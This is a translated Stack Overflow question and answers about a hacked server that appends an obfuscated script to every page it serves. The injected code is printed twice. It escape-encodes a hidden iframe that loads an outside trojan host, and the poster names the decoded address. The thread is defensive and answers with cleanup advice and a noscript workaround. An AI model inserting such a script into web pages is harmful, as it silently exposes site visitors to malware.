0

有我的网站的服务器上也有病毒。

病毒注入恶意代码

<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script>

到所服务的每个页面上,并且它正在由 Apache 或类似的东西进行预处理,以将其添加到文件的末尾。

我创建了一个测试文件,代码如下:

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
</body>
</html>

它并不漂亮,但它达到了它的目的。

在浏览器中查看页面时,我得到

<html> 
<head> 
<title>Test HTML File</title> 
</head> 
<body> 
<h1>Test HTML File</h1> 
<b id="BAs"></b><script>/*Warning: Opera Only*/var hKo = document.createElement("script");hKo.text="document.write(unescape(\"%3c%69%66%72%61%6d%65%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%6e%63%63%63%6e%6e%6e%63%2e%63%6e%2f%69%6d%67%2f%69%6e%64%65%78%2e%70%68%70%27%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%6e%6f%6e%65%3b%27%3e%3c%2f%69%66%72%61%6d%65%3e\"));";document.getElementById("BAs").appendChild(hKo)</script> 
</body> 
</html>

可以从 www.sagamountain.com/testfile.html 查看(警告,此页面已被感染)

我需要以编程方式停止该 div 和该脚本的执行,因为它是一个 iframe 到一个带有特洛伊木马的网站。HTML、CSS 或 JS,我只需要某种方法来阻止该 JS 执行。

它已经是 display:none 所以你看不到它,但是我怎样才能阻止 iframe 加载呢?

谢谢您的帮助!unescape 事情解析为http://ncccnnnc.cn/img/index.php的 iframe,这显然是我麻烦的根源。不要去那个网站!

编辑:这是对https://serverfault.com/questions/78439/my-website-is-infected-i-restored-a-backup-of-the-uninfected-files-how-long-wil/78459的跟进#78459

4

3 回答 3

11

很抱歉,我无法回答您的具体问题,但我认为您以错误的方式看待这个问题。您需要做的不是去除插入病毒的 html,您需要做的是与您的网络主机/系统管理员交谈并去除病毒

治疗症状并不能治愈感染。然而,治疗疾病也将治疗症状以及消除病毒。

于 2009-10-26T22:49:38.570 回答
2

您服务器中的文件是一个 php 文件,请查看此处的评论。

于 2009-10-26T23:26:11.170 回答
2

Cyber​​,如果您必须在服务器上等待其他人修复,我会说您应该尝试使用打开<noscript>标记或打开 HTML 注释标记来结束您的文档。

您不能使用 Javascript 来阻止尚未呈现的内容,除非您使用document.write上述标签之一(noscript/comment)。此外,您无法通过在之后放置脚本来做任何事情,因为已经太晚了(内容已经存在)。

这是一个丑陋的解决方案,但应该可以防止您的网站访问者感染病毒。它也会使您的标记无效,但任何浏览器都应该能够解析它并按照您的预期呈现它。

祝服务器好运!

于 2009-10-26T23:57:45.867 回答